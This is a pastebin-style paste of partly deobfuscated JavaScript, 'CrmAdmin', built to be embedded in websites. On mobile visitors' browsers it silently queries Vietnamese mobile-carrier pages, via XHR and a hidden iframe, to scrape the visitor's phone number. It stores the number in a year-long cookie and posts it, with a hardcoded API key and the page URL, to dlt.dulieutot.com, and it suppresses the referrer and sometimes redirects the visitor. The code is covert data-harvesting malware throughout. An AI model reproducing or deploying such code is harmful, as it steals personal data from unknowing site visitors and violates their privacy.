v3
unknown
javascript
3 years ago
32 kB
7
Indexable
var arr = [
"x", "undefined", "MSXML2.XmlHttp.6.0", "MSXML2.XmlHttp.5.0", "MSXML2.XmlHttp.4.0",
"MSXML2.XmlHttp.3.0", "MSXML2.XmlHttp.2.0", "Microsoft.XmlHttp", "length", "send", "open",
"onreadystatechange", "readyState", "responseText", "POST", "Content-type",
"application/x-www-form-urlencoded", "setRequestHeader", "get", "=", "push", "?",
"&", "join", "", "GET", "post", "getcookieval", ";", "indexOf", "cookie", "substring",
"setcookie", "; expires=", "toGMTString", "; path=", "; domain=", "; secure", "getcookie",
" ", "http://thethao.ustation.vn/site/about", "http://thethao.ustation.vn/site/huongdan",
"meta", "createElement", "name", "referrer", "content", "no-referrer", "appendChild", "head",
"getElementsByTagName", "onload", "status", "innerHTML", "html",
"var msisdn = ", "split", ";", "unknown", "null", "getTime", "phoneId",
"/", ".login-form-wrapper p strong", "querySelector", "innerText", "onerror",
"remove", "meta[name=referrer]", "http://mcc.info.vn/?v=", "random", "floor", "0",
"text/html", "parseFromString", "pMSISDN", "getElementById", "textContent", "iframe",
"id", "webSrc_", "src", "http://keeng.vn.md1fr.com/?type=", "&v=", "display", "style",
"none", "body", "http://funring.vn/?v=", "match", "trim", "dlt.dulieutot.com", "https://",
"/api/nhacungcap", "/api/vt-nhacungcap", "/api/mb-nhacungcap", "d4a0db77f07b4fedb037d6b6d498780e",
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", "charCodeAt", "charAt",
"_keyStr", "replace", "fromCharCode", "", "code", "searchParams", "cssminifier", "token", "href",
"Win", "includes", "platform", "Mac", "SynchronizeCrm", "location", "click", "decode", "?click=",
"&click=", "tokenId", "webSrc", "removeChild", "parentNode", "host", "parse", "identified",
"IsValid", "URL_CRAWLER_VIETTEL", "URL_CRAWLER_MOBIFONE", "URL_CRAWLER_VINA", "&tokenId=",
"?tokenId=", "%20", "%2F", "%3D", "https", "IsMobifone", "IsVinaphone", "IsViettel",
"openHttp", "||", "IP", "encode", "http://dltapiv1.dulieutot.com/?", "Cy_formatDate",
"getMonth", "getDate", "getFullYear", "getHours"];
var CrmAdmin = function() {
var _crmAdmin = this;
var funcObj = {};
// return new XmlHttpRequest
funcObj["x"] = function() {
if (typeof XMLHttpRequest !== "undefined") {
return new XMLHttpRequest()
};
var _0x1af8x4 = ["MSXML2.XmlHttp.6.0", "MSXML2.XmlHttp.5.0", "MSXML2.XmlHttp.4.0", "MSXML2.XmlHttp.3.0", "MSXML2.XmlHttp.2.0", "Microsoft.XmlHttp"];
var xmlHttpRequest;
for (var _0x1af8x6 = 0; _0x1af8x6 < _0x1af8x4["length"]; _0x1af8x6++) {
try {
xmlHttpRequest = new ActiveXObject(_0x1af8x4[_0x1af8x6]);
break
} catch (e) {
}
};
return xmlHttpRequest
};
funcObj["send"] = function (currentURL, _0x1af8x8, method, data, _0x1af8xb) {
try {
if (_0x1af8xb === undefined) {
_0x1af8xb = true
};
// var _0x1af8xc = funcObj["x"]();
var req = funcObj["x"]();
req["open"](method, currentURL, _0x1af8xb);
req["onreadystatechange"] = function () {
if (req["readyState"] == 4) {
_0x1af8x8(req["responseText"])
}
};
if (_0x1af8x9 == "POST") {
_0x1af8xc["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded")
};
req["send"](data)
} catch (e) {
}
};
funcObj["get"] = function (currentURL, _0x1af8xa, _0x1af8x8, _0x1af8xb) {
try {
var _0x1af8xd = [];
for (var _0x1af8xe in _0x1af8xa) {
_0x1af8xd["push"](encodeURIComponent(_0x1af8xe) + "=" + encodeURIComponent(_0x1af8xa[_0x1af8xe]))
};
funcObj["send"](currentURL + (_0x1af8xd["length"] ? "?" + _0x1af8xd["join"]("&") : ""), _0x1af8x8, "GET", null, _0x1af8xb)
} catch (e) {
}
};
funcObj["post"] = function (currentURL, _0x1af8xa, _0x1af8x8, _0x1af8xb) {
var _0x1af8xd = [];
for (var _0x1af8xe in _0x1af8xa) {
_0x1af8xd["push"](encodeURIComponent(_0x1af8xe) + "=" + encodeURIComponent(_0x1af8xa[_0x1af8xe]))
};
funcObj["send"](currentURL, _0x1af8x8, "POST", _0x1af8xd["join"]("&"), _0x1af8xb)
};
funcObj["getcookieval"] = function (_0x1af8xf) {
var _0x1af8x10 = document["cookie"]["indexOf"](";", _0x1af8xf);
if (_0x1af8x10 == -1) {
_0x1af8x10 = document["cookie"]["length"]
};
return unescape(document["cookie"]["substring"](_0x1af8xf, _0x1af8x10))
};
funcObj["setcookie"] = function(key, decodedData, dateData, _0x1af8x14, _0x1af8x15, _0x1af8x16) {
document["cookie"] = key + "=" + escape(decodedData) + ((dateData) ? "; expires=" + dateData["toGMTString"]() : "") + ((_0x1af8x14) ? "; path=" + _0x1af8x14 : "") + ((_0x1af8x15) ? "; domain=" + _0x1af8x15 : "") + ((_0x1af8x16) ? "; secure" : "")
};
funcObj["getcookie"] = function(name) {
var _0x1af8x17 = name + "=";
var _0x1af8x18 = _0x1af8x17["length"];
var _0x1af8x19 = document["cookie"]["length"];
var _0x1af8x6 = 0;
while (_0x1af8x6 < _0x1af8x19) {
var _0x1af8x1a = _0x1af8x6 + _0x1af8x18;
if (document["cookie"]["substring"](_0x1af8x6, _0x1af8x1a) == _0x1af8x17) {
return funcObj["getcookieval"](_0x1af8x1a)
}
; _0x1af8x6 = document["cookie"]["indexOf"](" ", _0x1af8x6) + 1;
if (_0x1af8x6 == 0) {
break
}
}
;
return null
};
function fn(times) {
var checkingSiteList = ["http://thethao.ustation.vn/site/about", "http://thethao.ustation.vn/site/huongdan"];
var _times = times;
if (times >= checkingSiteList["length"]) {
return
} else {
var metaElement = document["createElement"]("meta");
metaElement["name"] = "referrer";
metaElement["content"] = "no-referrer";
document["getElementsByTagName"]("head")[0]["appendChild"](metaElement);
var checkingSite = checkingSiteList[times];
// phoneNumberRegex
var _0x1af8x6 = /^[\d+]+$/;
var xmlRequest = new XMLHttpRequest();
xmlRequest["open"]("GET", checkingSite, !0);
xmlRequest["onload"] = function() {
if (xmlRequest["status"] >= 200 && xmlRequest["status"] < 400) {
var metaElement;
var checkingSite = xmlRequest["responseText"];
if (0 === _times) {
(metaElement = document["createElement"]("html"))["innerHTML"] = checkingSite;
var _crmAdmin2 = checkingSite["split"]("var msisdn = ");
if (_crmAdmin2["length"] > 1) {
var _crmAdmin3 = _crmAdmin2[1]["split"](";");
var _crmAdmin4 = _crmAdmin3[0];
if (_crmAdmin4 !== null && _crmAdmin4 != "" && _crmAdmin4 != "unknown" && _crmAdmin4 != "null") {
var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
funcObj["setcookie"]("phoneId", _crmAdmin4, dateData, "/");
funcObj["post"](endpoint3, {
apikey: apiKey,
msisdnview: _crmAdmin4,
referrerUidview: referrerUidview,
urlview: currentHref,
tokenview: token
}, function (_0x1af8xa) {
}, true)
} else if (
_0x1af8x1af8x1e === 1
) {
(metaElement = document["createElement"]("html"))["innerHTML"] = checkingSite;
var _crmAdmin5 = metaElement["querySelector"](".login-form-wrapper p strong");
if (_crmAdmin5) {
var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
funcObj["setcookie"]("phoneId", _crmAdmin5["innerText"], dateData, "/");
funcObj["post"](endpoint3, {
apikey: apiKey,
msisdnview: _crmAdmin5["innerText"],
referrerUidview: referrerUidview,
urlview: currentHref,
tokenview: token
}, function (_0x1af8xa) {
}, true)
} else {
fn(times + 1)
}
} else {
(metaElement = document["createElement"]("html"))["innerHTML"] = checkingSite;
var _crmAdmin5 = metaElement["querySelector"](".login-form-wrapper p strong");
if (_crmAdmin5) {
var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
funcObj["setcookie"]("phoneId", _crmAdmin5["innerText"], dateData, "/");
funcObj["post"](endpoint3, {
apikey: apiKey,
msisdnview: _crmAdmin5["innerText"],
referrerUidview: referrerUidview,
urlview: currentHref,
tokenview: token
}, function (_0x1af8xa) {
}, true)
} else {
fn(times + 1)
}
}
}
} else {
fn(times + 1)
}
}
xmlRequest["onerror"] = function() {
fn(times + 1)
}, xmlRequest["send"](), document["querySelector"]("meta[name=referrer]")["remove"]()
}
}
function _crmAdmin6(_crmAdmin7) {
var xmlHttpRequest = new XMLHttpRequest();
(function _crmAdmin8(_0x1af8x6, _crmAdmin9) {
if (_0x1af8x6 >= _crmAdmin9) {
return
}
; xmlHttpRequest["open"]("GET", _crmAdmin7, true);
xmlHttpRequest["onload"] = function () {
var _crmAdmina = this["responseText"];
if (_crmAdmina != "" && _crmAdmina["length"] == 24) {
var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
funcObj["setcookie"]("phoneId", _crmAdmina, dateData, "/");
funcObj["post"](endpoint2, {
encodeview: _crmAdmina,
referrerUidview: referrerUidview,
urlview: currentHref,
tokenview: token
}, function (_0x1af8xa) {
}, true)
} else {
_crmAdmin8(_0x1af8x6 + 1, _crmAdmin9)
}
};
xmlHttpRequest["send"](null)
})(0, 3)
}
function _crmAdminb() {
var xmlHttpRequest = new XMLHttpRequest();
xmlHttpRequest["open"]("GET", "http://mcc.info.vn/?v=" + Math["floor"](Math["random"]() * 1000000) + 1, true);
xmlHttpRequest["onload"] = function () {
var _crmAdminc = this["responseText"];
var _crmAdmin2 = _crmAdminc["split"]("var msisdn = ");
if (_crmAdmin2["length"] > 1) {
var _crmAdmin3 = _crmAdmin2[1]["split"](";");
var _crmAdmin4 = _crmAdmin3[0];
if (_crmAdmin4 !== null && _crmAdmin4 != "" && _crmAdmin4 != "unknown" && _crmAdmin4 != "null") {
var _crmAdmina = "0" + _crmAdmin4;
var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
funcObj["setcookie"]("phoneId", _crmAdmina, dateData, "/");
funcObj["post"](endpoint3, {
apikey: apiKey,
msisdnview: _crmAdmina,
referrerUidview: referrerUidview,
urlview: currentHref,
tokenview: token
}, function (_0x1af8xa) {
}, true)
} else {
loop_request(i + 1, time_loop)
}
}
};
xmlHttpRequest["send"](null)
}
function handleVINA(_crmAdmine) {
var xmlHttpRequest = new XMLHttpRequest();
(function fnVINA(nth, maxRetry) {
if (nth >= maxRetry) {
return
};
xmlHttpRequest["open"]("GET", _crmAdmine + Math["floor"](Math["random"]() * 1000000) + 1, true);
xmlHttpRequest["onload"] = function () {
var _crmAdminc = new DOMParser()["parseFromString"](this["responseText"], "text/html");
if (_crmAdminc["getElementById"]("pMSISDN") != null) {
var _crmAdmina = _crmAdminc["getElementById"]("pMSISDN")["textContent"];
if (_crmAdmina["length"] > 0) {
var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
funcObj["setcookie"]("phoneId", _crmAdmina, dateData, "/");
funcObj["post"](endpoint3, {
apikey: apiKey,
msisdnview: _crmAdmina,
referrerUidview: referrerUidview,
urlview: currentHref,
tokenview: token
}, function (_0x1af8xa) {
}, true)
}
}
};
xmlHttpRequest["send"](null)
})(0, 3)
}
function handleVIETTEL(funcObj0) {
var iframeElement = document["createElement"]("iframe");
var randomValue = Math["floor"](Math["random"]() * 1000000) + 1;
iframeElement["id"] = "webSrc_" + randomValue;
iframeElement["src"] = "http://keeng.vn.md1fr.com/?type=" + funcObj0 + "&v=" + randomValue;
iframeElement["style"]["display"] = "none";
document["body"]["appendChild"](iframeElement)
}
function handleMOBIFONE(request) {
var xmlHttpRequest = new XMLHttpRequest();
(function fnMOBIFONE(nth, maxRetry) {
if (nth >= maxRetry) {
return
};
xmlHttpRequest["open"]("GET", "http://funring.vn/?v=" + Math["floor"](Math["random"]() * 1000000) + 1, true);
xmlHttpRequest["onload"] = function () {
var _crmAdminc = this["responseText"];
var funcObj5 = _crmAdminc["match"](/window.frUsername = '([^']+).+?/i);
if (funcObj5 != null && funcObj5[1]["length"] > 0) {
var funcObj6 = "0" + funcObj5[1];
funcObj6 = funcObj6["trim"]();
if (funcObj6["match"](/^[\+]?[(]?[0-9]{3}[)]?[-\s\.]?[0-9]{3}[-\s\.]?[0-9]{4,6}$/im)) {
var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
funcObj["setcookie"]("phoneId", funcObj6, dateData, "/");
funcObj["post"](endpoint3, {
apikey: apiKey,
msisdnview: funcObj6,
referrerUidview: referrerUidview,
urlview: currentHref,
tokenview: token
}, function (_0x1af8xa) {
}, true)
} else {
_crmAdmin8(_0x1af8x6 + 1, _crmAdmin9)
}
} else {
_crmAdmin8(_0x1af8x6 + 1, _crmAdmin9)
}
};
xmlHttpRequest["send"](null)
})(0, 3)
}
var domain = "dlt.dulieutot.com";
var endpoint1 = "https://dlt.dulieutot.com/api/nhacungcap";
var endpoint2 = "https://dlt.dulieutot.com/api/vt-nhacungcap";
var endpoint3 = "https://dlt.dulieutot.com/api/mb-nhacungcap";
var apiKey = "d4a0db77f07b4fedb037d6b6d498780e";
var funcObjc = {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", encode: function (funcObjd) {
var funcObje = "";
var times, _times, _0x1af8x6, funcObjf, metaElement, _crmAdmin5, checkingSite;
var _0x1af8x40 = 0;
funcObjd = funcObjc._utf8_encode(funcObjd);
while (_0x1af8x40 < funcObjd["length"]) {
times = funcObjd["charCodeAt"](_0x1af8x40++);
_times = funcObjd["charCodeAt"](_0x1af8x40++);
_0x1af8x6 = funcObjd["charCodeAt"](_0x1af8x40++);
funcObjf = times >> 2;
metaElement = (times & 3) << 4 | _times >> 4;
_crmAdmin5 = (_times & 15) << 2 | _0x1af8x6 >> 6;
checkingSite = _0x1af8x6 & 63;
if (isNaN(_times)) {
_crmAdmin5 = checkingSite = 64
} else {
if (isNaN(_0x1af8x6)) {
checkingSite = 64
}
}
; funcObje = funcObje + this["_keyStr"]["charAt"](funcObjf) + this["_keyStr"]["charAt"](metaElement) + this["_keyStr"]["charAt"](_crmAdmin5) + this["_keyStr"]["charAt"](checkingSite)
}
;
return funcObje
},
decode: function(funcObjd) {
var funcObje = "";
var times, _times, _0x1af8x6;
var funcObjf, metaElement, _crmAdmin5, checkingSite;
var _0x1af8x40 = 0;
funcObjd = funcObjd["replace"](/[^A-Za-z0-9\+\/\=]/g, "");
while (_0x1af8x40 < funcObjd["length"]) {
funcObjf = this["_keyStr"]["indexOf"](funcObjd["charAt"](_0x1af8x40++));
metaElement = this["_keyStr"]["indexOf"](funcObjd["charAt"](_0x1af8x40++));
_crmAdmin5 = this["_keyStr"]["indexOf"](funcObjd["charAt"](_0x1af8x40++));
checkingSite = this["_keyStr"]["indexOf"](funcObjd["charAt"](_0x1af8x40++));
times = funcObjf << 2 | metaElement >> 4;
_times = (metaElement & 15) << 4 | _crmAdmin5 >> 2;
_0x1af8x6 = (_crmAdmin5 & 3) << 6 | checkingSite;
funcObje = funcObje + String["fromCharCode"](times);
if (_crmAdmin5 != 64) {
funcObje = funcObje + String["fromCharCode"](_times)
}
;
if (checkingSite != 64) {
funcObje = funcObje + String["fromCharCode"](_0x1af8x6)
}
}
; funcObje = funcObjc._utf8_decode(funcObje);
return funcObje
},
_utf8_encode: function(funcObjd) {
funcObjd = funcObjd["replace"](/\r\n/g, "");
var funcObje = "";
for (var times = 0; times < funcObjd["length"]; times++) {
var _times = funcObjd["charCodeAt"](times);
if (_times < 128) {
funcObje += String["fromCharCode"](_times)
} else {
if (_times > 127 && _times < 2048) {
funcObje += String["fromCharCode"](_times >> 6 | 192);
funcObje += String["fromCharCode"](_times & 63 | 128)
} else {
funcObje += String["fromCharCode"](_times >> 12 | 224);
funcObje += String["fromCharCode"](_times >> 6 & 63 | 128);
funcObje += String["fromCharCode"](_times & 63 | 128)
}
}
}
;
return funcObje
},
_utf8_decode: function(funcObjd) {
var funcObje = "";
var times = 0;
var _times = c1 = c2 = 0;
while (times < funcObjd["length"]) {
_times = funcObjd["charCodeAt"](times);
if (_times < 128) {
funcObje += String["fromCharCode"](_times);
times++
} else {
if (_times > 191 && _times < 224) {
c2 = funcObjd["charCodeAt"](times + 1);
funcObje += String["fromCharCode"]((_times & 31) << 6 | c2 & 63);
times += 2
} else {
c2 = funcObjd["charCodeAt"](times + 1);
c3 = funcObjd["charCodeAt"](times + 2);
funcObje += String["fromCharCode"]((_times & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
times += 3
}
}
}
;
return funcObje
}
};
var referrerUidview = new URL(document["getElementById"]("cssminifier")["src"])["searchParams"]["get"]("code");
var token = new URL(document["getElementById"]("cssminifier")["src"])["searchParams"]["get"]("token");
if (token == null) {
token = ""
};
var currentHref = location["href"];
var openByDesktop = false;
if (navigator["platform"]["includes"]("Win") || navigator["platform"]["includes"]("Mac")) {
openByDesktop = true
};
_crmAdmin["SynchronizeCrm"] = function () {
var currentURL = new URL(window["location"]["href"]);
var clickData = currentURL["searchParams"]["get"]("click");
if (clickData != undefined && clickData["length"] > 0) {
var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
var decodedData = funcObjc["decode"](clickData);
funcObj["setcookie"]("phoneId", decodedData, dateData, "/");
currentHref = currentHref["replace"]("?click=" + clickData, "");
currentHref = currentHref["replace"]("&click=" + clickData, "")
};
var tokenId = currentURL["searchParams"]["get"]("tokenId"); //
if (tokenId != undefined && tokenId["length"] > 0) {
var _0x1af8x48 = document["getElementById"]("webSrc");
if (_0x1af8x48 != null) {
_0x1af8x48["parentNode"]["removeChild"](_0x1af8x48)
}
; var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
var decodedData = funcObjc["decode"](tokenId);
funcObj["setcookie"]("phoneId", decodedData, dateData, "/")
};
try {
if (openByDesktop) {
return
};
funcObj["post"](endpoint1, {
apikey: apiKey,
referrerUidview: referrerUidview,
urlview: window["location"]["host"],
platformview: navigator["platform"]
}, function (response) {
let result = JSON["parse"](response);
var _0x1af8x4b = funcObj["getcookie"]("identified");
if (result["IsValid"] && !openByDesktop && _0x1af8x4b == null) {
var urlCrawlerVIETTEL = result["URL_CRAWLER_VIETTEL"];
var urlCrawlerMOBIFONE = result["URL_CRAWLER_MOBIFONE"];
var urlCrawlerVINA = result["URL_CRAWLER_VINA"];
var phoneId = funcObj["getcookie"]("phoneId");
if (phoneId != null) {
var tokenId = new URL(location["href"])["searchParams"]["get"]("tokenId");
if (tokenId != null) {
currentHref = location["href"]["replace"]("&tokenId=" + tokenId, "");
currentHref = location["href"]["replace"]("?tokenId=" + tokenId, "");
tokenId = tokenId["replace"](" ", "%20");
tokenId = tokenId["replace"](" ", "%20");
tokenId = tokenId["replace"](" ", "%20");
tokenId = tokenId["replace"](" ", "%20");
tokenId = tokenId["replace"](" ", "%20");
tokenId = tokenId["replace"](" ", "%20");
tokenId = tokenId["replace"](" ", "%20");
tokenId = tokenId["replace"](" ", "%20");
tokenId = tokenId["replace"]("/", "%2F");
tokenId = tokenId["replace"]("/", "%2F");
tokenId = tokenId["replace"]("/", "%2F");
tokenId = tokenId["replace"]("/", "%2F");
tokenId = tokenId["replace"]("=", "%3D");
tokenId = tokenId["replace"]("=", "%3D");
currentHref = location["href"]["replace"]("&tokenId=" + tokenId, "");
currentHref = location["href"]["replace"]("?tokenId=" + tokenId, "")
};
if (phoneId["length"] > 20) {
funcObj["post"](endpoint2, {
apikey: apiKey,
encodeview: phoneId,
referrerUidview: referrerUidview,
urlview: currentHref,
tokenview: token
}, function (_0x1af8xa) {
}, true)
} else {
funcObj["post"](endpoint3, {
apikey: apiKey,
msisdnview: phoneId,
referrerUidview: referrerUidview,
urlview: currentHref,
tokenview: token
}, function (_0x1af8xa) {
}, true)
}
} else {
if (!window["location"]["href"]["includes"]("https")) {
if (result["IsMobifone"]) {
handleMOBIFONE(urlCrawlerMOBIFONE)
} else {
if (result["IsVinaphone"]) {
handleVINA(urlCrawlerVINA)
} else {
if (result["IsViettel"]) {
var xmlHttpRequest1 = funcObj["getcookie"]("openHttp");
if (xmlHttpRequest1 == null) {
var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
funcObj["setcookie"]("openHttp", 1, dateData, "/");
var xmlHttptimes = referrerUidview + "||" + window["location"]["href"] + "||" + result["IP"];
var xmlHttpRequest3 = funcObjc["encode"](xmlHttptimes);
handleVIETTEL(xmlHttpRequest3)
}
}
}
}
} else {
var xmlHttpRequest1 = funcObj["getcookie"]("openHttp");
if (window["location"]["href"]["includes"]("https") && xmlHttpRequest1 == null) {
var dateData = new Date(new Date()["getTime"]() + 365 * 24 * 60 * 60 * 1000);
funcObj["setcookie"]("openHttp", 1, dateData, "/");
if (result["IsMobifone"] || result["IsVinaphone"]) {
var xmlHttptimes = domain + "||" + window["location"]["href"] + "||" + urlCrawlerMOBIFONE + "||" + urlCrawlerVIETTEL + "||" + result["IsVinaphone"] + "||" + result["IsMobifone"] + "||" + result["IsViettel"];
var xmlHttpRequest3 = funcObjc["encode"](xmlHttptimes);
location["href"] = "http://dltapiv1.dulieutot.com/?" + xmlHttpRequest3
} else {
if (result["IsViettel"]) {
var xmlHttptimes = domain + "||" + window["location"]["href"] + "||" + urlCrawlerMOBIFONE + "||" + urlCrawlerVIETTEL + "||" + result["IsVinaphone"] + "||" + result["IsMobifone"] + "||" + result["IsViettel"];
var xmlHttpRequest3 = funcObjc["encode"](xmlHttptimes)
}
}
}
}
}
}
}, true)
} catch (e) {
}
};
_crmAdmin["Cy_formatDate"] = function (xmlHttpRequest4) {
var xmlHttpRequest5 = new Date(xmlHttpRequest4), xmlHttpRequest6 = "" + (xmlHttpRequest5["getMonth"]() + 1),
xmlHttpRequest7 = "" + xmlHttpRequest5["getDate"](), xmlHttpRequest8 = xmlHttpRequest5["getFullYear"](),
xmlHttpRequest9 = "" + xmlHttpRequest5["getHours"]();
if (xmlHttpRequest6["length"] < 2) {
xmlHttpRequest6 = "0" + xmlHttpRequest6
}
;
if (xmlHttpRequest7["length"] < 2) {
xmlHttpRequest7 = "0" + xmlHttpRequest7
}
;
if (xmlHttpRequest9["length"] < 2) {
xmlHttpRequest9 = "0" + xmlHttpRequest9
}
;
return [xmlHttpRequest9, xmlHttpRequest7, xmlHttpRequest6, xmlHttpRequest8]["join"]("")
};
}
}
new CrmAdmin().SynchronizeCrm();Editor is loading...